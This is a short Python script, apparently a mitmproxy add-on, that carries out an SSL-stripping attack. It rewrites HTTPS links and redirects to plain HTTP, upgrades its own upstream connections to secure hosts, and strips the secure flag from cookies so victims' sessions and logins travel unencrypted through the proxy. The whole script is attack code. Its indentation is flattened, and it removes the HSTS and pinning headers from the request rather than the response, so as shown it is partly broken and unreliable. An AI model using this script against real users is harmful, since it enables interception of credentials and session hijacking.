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import re
from six.moves import urllib
# set of SSL/TLS capable hosts
secure_hosts = set()
def request(flow):
flow.request.headers.pop('If-Modified-Since', None)
flow.request.headers.pop('Cache-Control', None)
# proxy connections to SSL-enabled hosts
if flow.request.pretty_host in secure_hosts:
flow.request.scheme = 'https'
flow.request.port = 443
def response(flow):
flow.request.headers.pop('Strict-Transport-Security', None)
flow.request.headers.pop('Public-Key-Pins', None)
# strip links in response body
flow.response.content = flow.response.content.replace('https://', 'http://')
# strip links in 'Location' header
if flow.response.headers.get('Location', '').startswith('https://'):
location = flow.response.headers['Location']
hostname = urllib.parse.urlparse(location).hostname
if hostname:
secure_hosts.add(hostname)
flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
# strip secure flag from 'Set-Cookie' headers
cookies = flow.response.headers.get_all('Set-Cookie')
cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
flow.response.headers.set_all('Set-Cookie', cookies)
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